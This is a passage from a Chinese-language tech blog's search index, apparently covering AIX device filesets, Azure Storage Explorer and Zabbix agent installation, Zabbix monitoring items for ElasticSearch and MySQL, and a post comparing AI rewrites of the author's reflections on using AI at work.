devices.ethernet.ct3: 說明： Chelsio T3-based 10Gb Ethernet Adapter Driver. Chelsio 是一家網路卡製造商，T3 是其早期的 10GbE 網路卡晶片組。此檔案集提供對這類網路卡的驅動程式。 用途： 支援 Chelsio T3 系列 10Gb 乙太網路卡。 PCI Express (PCIe) 裝置驅動程式\ndevices.pciex.pciexclass.010802: 說明： PCI Express Class Code 010802 Device Driver. PCI Class Code 010802 代表 \u0026ldquo;Mass storage controller / NVM subsystem / NVM Express (NVMe)\u0026quot;。這是一個針對 NVMe SSD 的通用類別驅動程式或支援框架。 用途： 支援 NVMe 固態硬碟。 devices.pciex.e4148e1614109204, devices.pciex.e4148a1614109404, \u0026hellip;, devices.pciex.001072001410ea03 (以及此類別中的其他眾多條目): 說明： 這些都是針對特定 PCI Express 硬體裝置的驅動程式。名稱中的十六進位碼是 Vendor ID, Device ID, Subsystem Vendor ID, Subsystem Device ID 的組合。 例如，1410 作為 Vendor ID 通常代表 IBM。e414 也常與 IBM 相關。 這些驅動程式可能對應各種 PCIe 卡，如網路卡、儲存 HBA 卡、加密卡、圖形卡等。 用途： 為系統中安裝的各種特定 PCIe 裝置提供驅動和支援。若要知道每一個確切對應的硬體，需要查詢這些 ID。 PCI 裝置驅動程式 (較舊的匯流排)\ndevices.pci.pci: 說明： Generic PCI Bus Support. 提供對 PCI 匯流排本身的基本支援和管理功能，允許系統偵測和配置 PCI 裝置。 用途： PCI 匯流排的基礎支援。 devices.pci.f41a0800, devices.pci.f41a0100, \u0026hellip;, devices.pci.00100b00 (以及此類別中的其他眾多條目): 說明： 這些都是針對特定 PCI 硬體裝置的驅動程式。命名規則與 PCIe 類似，包含 Vendor ID 和 Device ID 等。 這些驅動程式可能對應較舊的 PCI 卡，如網路卡、SCSI 控制卡等。 用途： 為系統中安裝的各種特定 PCI 裝置提供驅動和支援。同樣，確切硬體對應需查詢 ID。 通用 IBM 裝置基礎架構 (Common IBM Device Infrastructure)\ndevices.common.rspcbase: 說明： RS/6000 Scalable POWERparallel systems (SP) Base. 這是為早期 IBM RS/6000 SP 平行運算系統提供的基礎裝置支援元件。在現代 Power Systems 上可能較少直接用到，除非有相容性需求。 用途： 支援舊款 IBM SP 系統的特定硬體或功能。 devices.common.IBM.xhci: 說明： IBM eXtensible Host Controller Interface (xHCI) Support. xHCI 是 USB 3.0 主控制器的標準介面。此檔案集提供對 IBM 系統上 xHCI 控制器的驅動和支援。 用途： 支援 USB 3.0 連接埠和裝置。 devices.common.IBM.usb: 說明： IBM Common USB Support. 提供 IBM 系統上 USB 功能的通用支援元件和程式庫，可能被更上層的 USB 驅動程式 (如 xHCI, EHCI, OHCI) 或 USB 裝置類別驅動程式使用。 用途： USB 系統的通用基礎。 devices.common.IBM.storfwork: 說明： IBM Storage Framework. 這可能是 IBM 儲存子系統的一個通用框架或程式庫集合，供各種儲存相關驅動程式 (如 SAS, FC, iSCSI) 和管理工具使用，以提供一致的儲存管理介面或功能。 用途： 提供統一的儲存管理和操作框架。 devices.common.IBM.soe: 說明： IBM SCSI over Ethernet (SOE) Support. SOE 是一種將 SCSI 命令封裝在乙太網路訊框中傳輸的技術，類似於 iSCSI 但可能是 IBM 的特定早期實作或專有方案。現在較少見。 用途： 支援透過乙太網路傳輸 SCSI 命令的特定 IBM 解決方案。 devices.common.IBM.sissas: 說明： IBM Serial SCSI (SAS) Controller Support. 特指 IBM 整合的 SAS 控制器 (通常是主機板上的 RAID 控制器或內部 SAS 控制器) 的通用支援或驅動程式。sis 可能代表 \u0026ldquo;Serial Interface SCSI\u0026rdquo;。 用途： 支援 IBM 內建的 SAS 控制器。 devices.common.IBM.scsi: 說明： IBM Common SCSI Support. 提供 IBM 系統上 SCSI 功能的通用支援元件，被各種 SCSI HBA 驅動程式和 SCSI 裝置驅動程式使用。 用途： SCSI 系統的通用基礎。 devices.common.IBM.mpt2: 說明： IBM LSI MPT2 SAS Controller Support. LSI (現為 Broadcom) 的 MPT (Message Passing Technology) SAS 2.x 控制器 (如 SAS2008, SAS2108, SAS2308 等晶片) 的驅動程式或支援。IBM 經常在其伺服器和儲存產品中使用 LSI 控制器。 用途： 支援基於 LSI MPT2 SAS 晶片的 HBA 卡或內建控制器。 devices.common.IBM.mpio: 說明： IBM Multi-Path I/O (MPIO) Support. MPIO 是一種容錯和負載平衡技術，允許伺服器透過多條路徑連接到儲存裝置 (通常在 SAN 環境中)。此檔案集提供 AIX MPIO 功能的核心支援。 用途： 實現儲存路徑的備援和效能提升。 devices.common.IBM.modemcfg: 說明： IBM Modem Configuration Support. 提供數據機 (Modem) 的配置工具或支援檔案，用於撥號網路或遠端存取。 用途： 支援數據機的配置和使用。 devices.common.IBM.ktm_std: 說明： IBM Kernel Transaction Manager (KTM) Standard Support. 核心交易管理器可能與檔案系統的日誌記錄、資料庫或其他需要交易原子性的核心操作有關。 用途： 提供核心層級的交易管理功能。 devices.common.IBM.iscsi: 說明： IBM Common iSCSI Support. 提供 IBM 系統上 iSCSI 功能的通用支援元件，可能被軟體啟動器或硬體 iSCSI HBA 使用。 用途： iSCSI 功能的通用基礎。 devices.common.IBM.ide: 說明： IBM Common IDE/ATA Support. 提供對 IDE/ATA 介面裝置 (如舊款硬碟、光碟機) 的通用支援。 用途： IDE/ATA 介面的基礎支援。 devices.common.IBM.ib: 說明： IBM InfiniBand Support. InfiniBand 是一種高效能、低延遲的網路互連技術，常用於高效能運算 (HPC) 和叢集。此檔案集提供對 IBM InfiniBand 主機通道配接卡 (HCA) 的支援。 用途： 支援 InfiniBand 網路連接。 devices.common.IBM.hdlc: 說明： IBM High-Level Data Link Control (HDLC) Support. HDLC 是一種用於同步資料鏈路層通訊的協定，常用於專線連接或某些 WAN 技術。 用途： 支援基於 HDLC 協定的通訊。 devices.common.IBM.fda: 說明： IBM FDDI Adapter Support. FDDI (Fiber Distributed Data Interface) 是一種較早的光纖區域網路技術。此檔案集提供對 IBM FDDI 網路卡的支援。 用途： 支援舊式 FDDI 網路。 devices.common.IBM.fc: 說明： IBM Common Fibre Channel Support. 提供 IBM 系統上光纖通道 (FC) 功能的通用支援元件，被 FC HBA 驅動程式和相關工具使用。 用途： 光纖通道 SAN 連接的通用基礎。 devices.common.IBM.ethernet: 說明： IBM Common Ethernet Support. 提供 IBM 系統上乙太網路功能的通用支援元件和程式庫，被各種乙太網路卡驅動程式使用。 用途： 乙太網路功能的通用基礎。 devices.common.IBM.disk: 說明： IBM Common Disk Support. 提供對磁碟裝置的通用支援框架或程式庫，可能與 LVM (Logical Volume Manager) 或其他磁碟管理功能相關。 用途： 磁碟裝置管理的通用基礎。 devices.common.IBM.cx: 說明： IBM Converged Network Adapter (CNA) or Complex Adapter Support. \u0026ldquo;cx\u0026rdquo; 可能指融合式網路卡 (同時支援乙太網路和光纖通道/FCoE) 或其他複雜的多功能配接卡。 用途： 支援 IBM 的融合式網路卡或其他複雜配接卡。 devices.common.IBM.crypt: 說明： IBM Cryptographic Accelerator Support. 提供對 IBM 系統上加密硬體加速卡 (如 476x 系列 Crypto Coprocessor) 的驅動程式和 API 支援。 用途： 利用硬體加速加密運算。 devices.common.IBM.cflash: 說明： IBM CompactFlash or Common Flash Support. 可能支援系統內建的快閃記憶體裝置 (如用於韌體或小型作業系統映像) 或特定的快閃記憶體配接卡。 用途： 支援特定類型的快閃記憶體裝置。 ","date":"June 1, 2025","externalUrl":null,"permalink":"/worknot/deploy-aix-in-kvm/","section":"Worknots","summary":"最近工作上碰觸到 AIX ，為了驗證自己寫的腳本能在 AIX 上執行，因此我在 KVM 中建立 AIX 的虛擬機\n執行環境 # 硬體環境 # CPU: 11th Gen Intel® Core™ i5-1145G7 × 8 RAM: 32.0 GiB Operating System: Debian GNU/Linux 12 (bookworm) Kernel: Linux 6.1.0-35-amd64 Architecture: x86-64 Hardware Vendor: Dell Inc. Hardware Model: Latitude 5420 Firmware Version: 1.30.0 KVM: QEMU emulator version 7.2.17 (Debian 1:7.2+dfsg-7+deb12u13) 準備文件 # ISO file: aix_7200-04-02-2027_1of2_072020.iso (sha256sum: adab6bbd266525d467b5d3af77aa241e97272a1df754318492c9d23e4881abbd) aix-quem-kvm.xml aix-quem-kvm.xml 文件內容\n","title":"Deploy AIX in KVM","type":"worknot"},{"content":"","date":"May 31, 2025","externalUrl":null,"permalink":"/categories/azure/","section":"Categories","summary":"","title":"Azure","type":"categories"},{"content":" 安裝 .Net8 # 1 2 3 4 5 wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb rm packages-microsoft-prod.deb sudo apt-get update sudo apt-get install -y aspnetcore-runtime-8.0 安裝 Azure Storage Explorer # 1 2 3 4 5 wget https://download.microsoft.com/download/a16938b4-4998-4997-9b68-65a82bb11470/A/E/3/AE32C485-B62B-4437-92F7-8B6B2C48CB40/StorageExplorer-linux-x64.tar.gz sudo mkdir -p /usr/local/share/AzureStorageExplorer sudo tar -zxf StorageExplorer-linux-x64.tar.gz -C /usr/local/share/AzureStorageExplorer/ sudo wget -O /usr/local/share/AzureStorageExplorer/storage-logo.png https://azure.github.io/Storage/images/storage-logo.png 建立桌面啟動程式 # 設定文件: /usr/share/applications/AzureStorageExplorer.desktop 1 2 3 4 5 6 7 8 9 10 [Desktop Entry] Version=1.0 Type=Application Name=\u0026#34;Azure Storage Explorer\u0026#34; Terminal=false Icon=\u0026#34;/usr/local/share/AzureStorageExplorer/storage-logo.png\u0026#34; Exec=\u0026#34;/usr/local/share/AzureStorageExplorer/StorageExplorerExe\u0026#34; %f Comment=Azure Categories=Azure Terminal=false ","date":"May 31, 2025","externalUrl":null,"permalink":"/worknot/azure-azurestorageexplorer/","section":"Worknots","summary":"安裝 .Net8 # 1 2 3 4 5 wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb rm packages-microsoft-prod.deb sudo apt-get update sudo apt-get install -y aspnetcore-runtime-8.0 安裝 Azure Storage Explorer # 1 2 3 4 5 wget https://download.microsoft.com/download/a16938b4-4998-4997-9b68-65a82bb11470/A/E/3/AE32C485-B62B-4437-92F7-8B6B2C48CB40/StorageExplorer-linux-x64.tar.gz sudo mkdir -p /usr/local/share/AzureStorageExplorer sudo tar -zxf StorageExplorer-linux-x64.tar.gz -C /usr/local/share/AzureStorageExplorer/ sudo wget -O /usr/local/share/AzureStorageExplorer/storage-logo.png https://azure.github.io/Storage/images/storage-logo.png 建立桌面啟動程式 # 設定文件: /usr/share/applications/AzureStorageExplorer.desktop 1 2 3 4 5 6 7 8 9 10 [Desktop Entry] Version=1.0 Type=Application Name=\"Azure Storage Explorer\" Terminal=false Icon=\"/usr/local/share/AzureStorageExplorer/storage-logo.png\" Exec=\"/usr/local/share/AzureStorageExplorer/StorageExplorerExe\" %f Comment=Azure Categories=Azure Terminal=false ","title":"Azure Storage Explorer on Linux","type":"worknot"},{"content":"","date":"May 30, 2025","externalUrl":null,"permalink":"/tags/gemini/","section":"Tags","summary":"","title":"Gemini","type":"tags"},{"content":"","date":"May 30, 2025","externalUrl":null,"permalink":"/tags/grok-chatgpt/","section":"Tags","summary":"","title":"Grok ChatGPT","type":"tags"},{"content":"","date":"May 30, 2025","externalUrl":null,"permalink":"/categories/opinion/","section":"Categories","summary":"","title":"Opinion","type":"categories"},{"content":"最近在工作上用了AI工具，來分一下我使用的心得吧！\n在這篇我也想順便玩玩AI，我會先打出我的原文，再將文章讓AI進行整理與文字修飾，會使用 Gemini, Grok, ChatGPT\n提示詞如下\n1 這是我今年使用AI的心得，幫我修正文字錯誤及修飾文辭。 原始稿 # 大約在 2024 年 9 月，GhatGPT 的文字語意分析有質的飛躍，在那時候我就逐漸把工作上的文書類的工作丟給他了。例如: 撰寫教育訓練的文件、分析文件內容等。還來在2025 年年初，也可以依需求敘述產生簡單的程式碼。在這期間，有使用幾家語言模型: ChatGPT 、Grok、Gemini 。後來我主要使用 Gemini，主要原因是 我日常使用的文書工具是Google公司底下的，例如: Google Doc , Google Drive 等等。\n在使用期間，有考慮過資訊安全相關方面的議題。我該使用雲端廠商所提供的AI，還是自己架設 LLM ，經過實地的一番比較，自己架設 LLM 一方面需要有足夠的硬體持有成本，要滿足我日常工作要求止少需要 4090 24G 的獨立顯示卡，另一方面也要時時更新 LLM 的版本以解決他內部資料的新鮮程度。於是我最後選擇訂閱雲端服務。至於資訊安全的部份，我是會先人工過濾掉感資訊在進行詢問，或是把工作的電腦切割成，可以連上網路與不可連上網路進行工作。\nAI 可以在工作上可以幫我做什麼事情? 在我目前的經驗上，除了可以協助撰寫 及 分析 文本資料，還可以幫忙粹取圖片文字、語音轉文字，還可以透過排程定期抓取資料及整理。\n就在今年，因為工作上需要每月抓取定軟體 CVE 資訊。原本一開始的想法是: 寫爬蟲程式 -\u0026gt; 取得網站資料 -\u0026gt; 萃取HTML理的資料 -\u0026gt; 進行資料分析 -\u0026gt; 套入報告模板 -\u0026gt; 產生報告。\n後來我轉念一想：有沒有不寫程式 並透過 AI 分析文件資料？\n最終的結果使用 n8n 流程工具完成，完成後的流程是: 爬資料 -\u0026gt; 餵資料給AI -\u0026gt; AI依提示整理、萃取資料並匯出報告 -\u0026gt; 產生報告。\n使用 AI 工具之後不僅在處理流程少了很多，另外我也省去撰寫程式的時間成本。\n目前在網路上有流傳 「AI 將會取代工程師」。\n關於這部份的說法，我認為這樣說才對: 「懂得善用AI的人 將會取代 不使用AI的人」。\nAI 是屬於能力加成工具。假設有一個人在 資訊處理的本質能力(寫Java, 操作 Linux 等)是 10 ，在使用 AI 之後會乘以 10 就是 100 的能力值。而且本質能力月高，使用AI 工具之後綜合的能力也會明顯提升。\n以上是我近一年使用AI工具的心得，說說看你的想法。\nGemini 2.5 Pro # 大約自 2024 年 9 月起，我觀察到 ChatGPT 在文字語意分析方面有了質的飛躍。從那時開始，我便逐漸將工作中的文書處理任務交由 AI 協助，例如撰寫教育訓練文件、分析文件內容等。到了 2025 年初，AI 甚至能依據需求描述產生簡單的程式碼。在此期間，我曾嘗試過幾家不同的語言模型，包含 ChatGPT、Grok 及 Gemini。最終，我主要選用 Gemini，考量點在於我日常慣用的文書工具，如 Google 文件、Google 雲端硬碟等，皆隸屬於 Google 生態系。\n在使用過程中，資訊安全是我相當重視的一環。我曾評估過究竟該採用雲端服務商提供的 AI，抑或是自行架設大型語言模型（LLM）。經過實際比較後發現，自行架設 LLM 不僅硬體持有成本高昂——至少需要 NVIDIA GeForce RTX 4090 24GB 等級的獨立顯示卡才能滿足我日常工作的需求——更需時時維護 LLM 的版本，以確保其知識庫的時效性。因此，我最終選擇訂閱雲端 AI 服務。至於資訊安全方面，我會在提交請求前，先手動過濾掉敏感資訊；或將工作電腦區分為可連網與不可連網的環境，藉此降低風險。\n那麼，AI 在工作上能為我分擔哪些任務呢？依我目前的經驗，AI 除了能協助撰寫及分析文本資料外，還能進行圖片文字萃取、語音轉文字等作業。此外，透過排程設定，AI 亦能定期抓取資料並加以整理。\n就在今年，因應工作需求，我需要每月擷取特定軟體的通用漏洞揭露（CVE）資訊。最初的構想是：撰寫爬蟲程式 -\u0026gt; 取得網站資料 -\u0026gt; 萃取 HTML 中的資料 -\u0026gt; 進行資料分析 -\u0026gt; 套用報告模板 -\u0026gt; 產生報告。\n後來我轉念一想：是否能在不撰寫程式的情況下，直接透過 AI 分析文件資料呢？\n最終，我利用 n8n 這套流程自動化工具實現了這個想法。優化後的流程變為：爬取資料 -\u0026gt; 將資料提交給 AI -\u0026gt; AI 依據提示整理、萃取資料並匯出 -\u0026gt; 產生報告。\n導入 AI 工具後，不僅大幅簡化了處理流程，也省下了我撰寫程式的時間成本。\n目前網路上流傳著一種說法：「AI 將會取代工程師」。\n關於此觀點，我認為更精準的描述應為：「懂得善用 AI 的人，將會取代不使用 AI 的人。」\nAI 本質上是一種能力增幅工具。假設一個人在資訊處理的基礎能力（如撰寫 Java 程式、操作 Linux 系統等）為 10 分，在導入 AI 輔助後，其能力值將可能乘以 10，達到 100 分。而且，個人的基礎能力越強，善用 AI 工具後所能發揮的綜合能力也將越顯著。\n以上是我近一年來使用 AI 工具的心得。\n關於您最後提到「說說看你的想法」，我很樂意分享：\n您對 AI 工具的觀察與應用，以及最終的心得總結，都相當精闢且富有洞見。我完全認同您將 AI 視為「能力加成工具」的觀點。\n從 AI 的角度來看，我們的核心價值在於輔助人類更有效率、更有創造力地完成任務。您所經歷的從繁瑣的爬蟲程式撰寫到利用 n8n 與 AI 協作的流程優化，正是 AI 應用價值的絕佳體現。這不僅節省了時間成本，更重要的是，它讓您能將精力聚焦在更高層次的策略思考與價值創造上。\n您對資訊安全的考量也非常重要。在享受 AI 帶來便利的同時，如何確保資料的隱私與安全，確實是使用者和開發者都需要持續關注的議題。您採取的過濾敏感資訊及隔離工作環境等措施，都是現階段務實且有效的做法。\n至於「AI 將會取代工程師」的討論，您的看法「懂得善用 AI 的人，將會取代不使用 AI 的人」確實更貼近現實。AI 的發展並非旨在取代人類，而是成為人類強而有力的夥伴。對於工程師而言，AI 可以自動化重複性的編碼工作、協助偵錯、提供解決方案的建議，甚至加速學習新技術的過程。掌握並善用這些 AI 工具，無疑能大幅提升工程師的生產力與競爭力。\n您的經驗分享，對於其他正在觀望或剛開始接觸 AI 的使用者來說，具有很高的參考價值。期待未來能看到您更多關於 AI 應用的精彩分享！\nGrok3 # 自2024年9月起，ChatGPT的文字語意分析能力顯著提升，實現了質的飛躍。從那時起，我開始將工作中的文書任務逐漸交由AI處理，例如撰寫教育訓練文件、分析文件內容等。到了2025年初，AI甚至能根據需求描述生成簡單的程式碼。在這段期間，我體驗了多款語言模型，包括ChatGPT、Grok和Gemini，最終選擇以Gemini為主，原因在於我日常使用的文書工具多為Google生態系統產品，例如Google Docs和Google Drive，與Gemini整合更為順暢。\n在使用AI的過程中，我曾深入考慮資訊安全相關議題，特別是選擇使用雲端AI服務還是自行架設大規模語言模型（LLM）。經過實際比較，自行架設LLM需要高昂的硬體成本，至少需配備如NVIDIA 4090 24GB的獨立顯示卡以滿足日常工作需求；同時，還需定期更新LLM版本以確保資料新鮮度。綜合考量後，我選擇訂閱雲端AI服務。為確保資訊安全，我會先人工過濾敏感資訊後再進行AI查詢，或將工作電腦分為可連網與不可連網兩種環境，以隔離敏感資料。\nAI在工作上能提供的幫助遠超乎想像。以我目前的經驗，除了協助撰寫與分析文本資料，AI還能執行圖片文字萃取、語音轉文字，甚至透過排程定期抓取並整理資料。例如，今年因工作需求需每月收集特定軟體的CVE（常見漏洞與暴露）資訊，最初的流程構想是：編寫爬蟲程式→獲取網站資料→萃取HTML資料→進行資料分析→套入報告模板→生成報告。\n後來我轉念一想：能否不寫程式，僅透過AI分析資料並完成任務？最終，我採用n8n流程自動化工具實現了這一目標，流程簡化為：爬取資料→將資料輸入AI→由AI根據提示整理與萃取資料並匯出報告→生成報告。使用AI工具後，不僅流程大幅簡化，還省去了撰寫程式碼的時間成本。\n目前網路上流傳「AI將取代工程師」的說法，我認為更精確的表述應是：「善於使用AI的人將取代不使用AI的人。」AI是一種能力增強工具。假設某人在資訊處理的核心能力（如撰寫Java程式、操作Linux等）為10，使用AI後，其能力值可放大至100。核心能力越強的人，使用AI後的綜合能力提升也越顯著。\n以上是我近一年使用AI工具的心得，請分享你的看法。\n修訂與修飾說明： # 文字錯誤修正：\n「GhatGPT」修正為「ChatGPT」。 「還來在2025年年初」修正為「到了2025年初」，語句更自然。 「止少」修正為「至少」。 「感資訊」修正為「敏感資訊」。 「HTML理的資料」修正為「HTML資料」。 「月高」修正為「越強」。 文辭修飾：\n優化語句結構，使表達更流暢，如「逐漸把工作上的文書類的工作丟給他了」改為「開始將工作中的文書任務逐漸交由AI處理」。 統一專業術語，如「大規模語言模型（LLM）」取代「LLM」，並在首次出現時加上全稱。 增強邏輯連貫性，例如在描述AI功能時，補充「遠超乎想像」以強調AI的廣泛應用。 簡化冗長表述，如「完成後的流程是」改為「流程簡化為」。 結構調整：\n分段更清晰，確保每段聚焦單一主題（如AI功能、資訊安全、具體案例、未來展望）。 對CVE資訊收集案例的描述，補充「常見漏洞與暴露（CVE）」的全稱，方便讀者理解。 語氣與風格：\n保持原意與個人心得的語氣，但稍加修飾，使語句更正式且具說服力，符合心得分享的語境。 結尾的觀點「善用AI的人將取代不使用AI的人」保留原句精髓，並以更精煉的方式呈現。 我的看法： # 您的心得深刻反映了AI工具在工作場景中的實用性與潛力，尤其是在自動化流程與提升效率方面的應用。您提到的n8n結合AI的案例，展現了如何透過低程式碼工具實現高效工作流，這是非常有啟發性的實踐。此外，您對資訊安全的考量也非常務實，特別是在當前資料隱私備受關注的環境下，分離連網與非連網環境的做法值得推廣。\n關於「AI取代工程師」的觀點，我完全同意您的看法：AI並非取代人類，而是作為能力放大器。核心能力強的人能透過AI實現更大價值，這也呼應了當前技術發展趨勢——未來職場將更重視「人機協作」的技能。您的經驗也提醒我們，選擇合適的工具（如雲端服務或自建LLM）需權衡成本與效益，這對其他工作者來說是非常實用的參考。\n若您有其他具體問題或想深入討論某部分，請隨時告訴我！\nChatGPT # 大約在 2024 年 9 月，ChatGPT 的文字語意分析能力出現質的飛躍，從那時起，我逐漸將工作上的文書類任務交給它處理。例如：撰寫教育訓練文件、分析資料內容等。到了 2025 年年初，它甚至可以根據需求自動產生簡單的程式碼。\n在這段期間，我嘗試過幾家語言模型，包括 ChatGPT、Grok 和 Gemini。最後我主要選擇使用 Gemini，主要原因是我日常所使用的文書工具多屬於 Google 旗下產品，例如 Google Docs、Google Drive 等，與 Gemini 的整合性較高。\n在使用 AI 過程中，我也考慮過資訊安全的議題。究竟是該使用雲端廠商提供的 AI 服務，還是自行架設 LLM（大型語言模型）？實際比較後我發現，自行架設 LLM 除了需要高昂的硬體成本（例如至少需要一張 RTX 4090 24G 的顯示卡），還必須不斷更新模型版本以確保資料的新鮮度與正確性。綜合考量後，我選擇訂閱雲端服務。而在資訊安全方面，我會先人工過濾敏感資訊再提交給 AI，或將工作用電腦分割為可連網與不可連網的環境，視情況切換使用。\nAI 在工作上能幫我做什麼？根據我目前的經驗，除了撰寫與分析文字資料，它還能協助萃取圖片中的文字、將語音轉換為文字，甚至能透過排程工具定期抓取並整理資料。\n今年因工作需求，我需每月整理定期發布的軟體 CVE 資訊。原本的構想是：撰寫爬蟲程式 → 擷取網站資料 → 萃取 HTML 中的資訊 → 進行資料分析 → 套用報告模板 → 產出報告。\n後來我轉念一想：是否有可能不寫程式，單純透過 AI 就完成文件的分析？\n最後我改用 n8n 自動化流程工具來實現整個流程：爬取資料 → 將資料餵給 AI → AI 根據提示整理、萃取並匯出報告 → 自動產出文件。\n使用 AI 工具後，不僅簡化了整個處理流程，也節省了撰寫程式所需的時間成本。\n目前網路上常流傳一句話：「AI 將會取代工程師。」\n對此我認為，更貼切的說法應該是：「懂得善用 AI 的人，將取代那些不會使用 AI 的人。」\nAI 是一種能力加成工具。假設一個人在資訊處理的本質能力（例如寫 Java、操作 Linux 等）是 10，透過 AI 的輔助可將其能力加乘為 100。而且本質能力越高，搭配 AI 工具後所展現的綜合效能也會越強。\n以上是我近一年使用 AI 工具的心得，歡迎你分享你的看法。\n","date":"May 30, 2025","externalUrl":null,"permalink":"/worknot/opinion-about-ai/","section":"Worknots","summary":"最近在工作上用了AI工具，來分一下我使用的心得吧！\n在這篇我也想順便玩玩AI，我會先打出我的原文，再將文章讓AI進行整理與文字修飾，會使用 Gemini, Grok, ChatGPT\n","title":"Opinion About Ai","type":"worknot"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/centos6/","section":"Tags","summary":"","title":"Centos6","type":"tags"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/debian12/","section":"Tags","summary":"","title":"Debian12","type":"tags"},{"content":" Zabbix agent for centos6 # 1 2 3 4 5 6 rpm -Uvh https://repo.zabbix.com/zabbix/6.0/rhel/6/x86_64/zabbix-release-6.0-4.el6.noarch.rpm yum clean all yum install zabbix-agent vim /etc/zabbix/zabbix_agentd.conf service zabbix-agent restart chkconfig --level 35 zabbix-agent on Zabbix agent for Debian12 # 1 2 3 4 wget https://repo.zabbix.com/zabbix/6.4/debian/pool/main/z/zabbix-release/zabbix-release_6.4-1+debian12_all.deb dpkg -i zabbix-release_6.4-1+debian12_all.deb apt update apt install zabbix-agent2 /etc/zabbix/zabbix_agent2.conf 記得變更下列內容\n1 2 Server= ServerActive= 1 2 systemctl restart zabbix-agent systemctl enable zabbix-agent How to Install Zabbix Agent on Rocky Linux/Alma Linux 9 # 安裝 # 安裝 zabbix-agent2 優先\n/etc/yum.repos.d/epel.repo 1 2 3 [epel] ... excludepkgs=zabbix* 1 2 3 4 5 rpm -Uvh https://repo.zabbix.com/zabbix/6.4/rhel/9/x86_64/zabbix-release-6.4-1.el9.noarch.rpm dnf clean all dnf install -y zabbix-agent systemctl restart zabbix-agent systemctl enable zabbix-agent 1 2 3 dnf install -y zabbix-agent2 zabbix-agent2-plugin-* systemctl restart zabbix-agent2 systemctl enable zabbix-agent2 防火牆設定 # 1 sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.0/16\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;64295\u0026#34; accept\u0026#39; 設定 conf # /etc/zabbix/zabbix_agentd.conf 1 Server=192.168.56.71 /etc/zabbix/zabbix_agent2.conf 1 Server=192.168.56.71 ","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-agent/","section":"Worknots","summary":"Zabbix agent for centos6 # 1 2 3 4 5 6 rpm -Uvh https://repo.zabbix.com/zabbix/6.0/rhel/6/x86_64/zabbix-release-6.0-4.el6.noarch.rpm yum clean all yum install zabbix-agent vim /etc/zabbix/zabbix_agentd.conf service zabbix-agent restart chkconfig --level 35 zabbix-agent on Zabbix agent for Debian12 # 1 2 3 4 wget https://repo.zabbix.com/zabbix/6.4/debian/pool/main/z/zabbix-release/zabbix-release_6.4-1+debian12_all.deb dpkg -i zabbix-release_6.4-1+debian12_all.deb apt update apt install zabbix-agent2 /etc/zabbix/zabbix_agent2.conf 記得變更下列內容\n","title":"deploy Zabbix Agent","type":"worknot"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/rocky/","section":"Tags","summary":"","title":"Rocky","type":"tags"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/zabbix/","section":"Tags","summary":"","title":"Zabbix","type":"tags"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/categories/zabbix-%E7%AD%86%E8%A8%98/","section":"Categories","summary":"","title":"Zabbix 筆記","type":"categories"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/elasticsearch/","section":"Tags","summary":"","title":"ElasticSearch","type":"tags"},{"content":" Zabbix ElasticSearch # 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 ESzabbix[cluster,count] Total number of records 記錄總數 ESzabbix[{$NODENAME},index_total] Records indexed per second 索引文檔總數 ESzabbix[cluster,unassigned_shards] Number of unassigned shards 未分配的分片數，通常為0，當有某個節點的副本分片丟失該值就會增加。 ESzabbix[cluster,number_of_nodes] Number of nodes 節點數 ESzabbix[cluster,relocating_shards] Number of relocating shards 當前節點遷往其他節點的分片數量，通常為0，當有節點加入或者退出時該值會增加。 ESzabbix[cluster,initializing_shards] Number of initializing shards 正在初始化的分片數 ESzabbix[cluster,number_of_data_nodes] Number of data nodes 數據節點數 ESzabbix[cluster,active_shards] Number of active shards 活躍的所有分片數 ESzabbix[cluster,active_primary_shards] Number of active primary shards 活躍的主分片數 ESzabbix[cluster,index_total] Cluster-wide records indexed per second 索引文檔數 ESzabbix[cluster,size_in_bytes] Cluster-wide storage size 數據總存儲容量 ESzabbix[service,status] Elasticsearch Service Status 服務狀態 ESzabbix[cluster,status] ElasticSearch Cluster Status 集群狀態 ","date":"May 11, 2025","externalUrl":null,"permalink":"/worknot/zabbix-elasticsearch/","section":"Worknots","summary":"Zabbix ElasticSearch # 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 ESzabbix[cluster,count] Total number of records 記錄總數 ESzabbix[{$NODENAME},index_total] Records indexed per second 索引文檔總數 ESzabbix[cluster,unassigned_shards] Number of unassigned shards 未分配的分片數，通常為0，當有某個節點的副本分片丟失該值就會增加。 ESzabbix[cluster,number_of_nodes] Number of nodes 節點數 ESzabbix[cluster,relocating_shards] Number of relocating shards 當前節點遷往其他節點的分片數量，通常為0，當有節點加入或者退出時該值會增加。 ESzabbix[cluster,initializing_shards] Number of initializing shards 正在初始化的分片數 ESzabbix[cluster,number_of_data_nodes] Number of data nodes 數據節點數 ESzabbix[cluster,active_shards] Number of active shards 活躍的所有分片數 ESzabbix[cluster,active_primary_shards] Number of active primary shards 活躍的主分片數 ESzabbix[cluster,index_total] Cluster-wide records indexed per second 索引文檔數 ESzabbix[cluster,size_in_bytes] Cluster-wide storage size 數據總存儲容量 ESzabbix[service,status] Elasticsearch Service Status 服務狀態 ESzabbix[cluster,status] ElasticSearch Cluster Status 集群狀態 ","title":"Zabbix ElasticSearch","type":"worknot"},{"content":"","date":"May 11, 2025","externalUrl":null,"permalink":"/tags/mysql/","section":"Tags","summary":"","title":"MySQL","type":"tags"},{"content":" zabbix mySQL 監控 # 監控項關鍵字（item_key) 監控項名稱（item_name） 備註 mysql.dbsize[\u0026quot;{ MYSQL.HOST}\u0026quot;,\u0026quot;{ MYSQL.PORT}\u0026quot;,\u0026ldquo;數據庫名字\u0026rdquo;] Info: Size of database 數據庫名字 數據庫大小 mysql.ping[\u0026quot;{ MYSQL.HOST}\u0026quot;,\u0026quot;{ 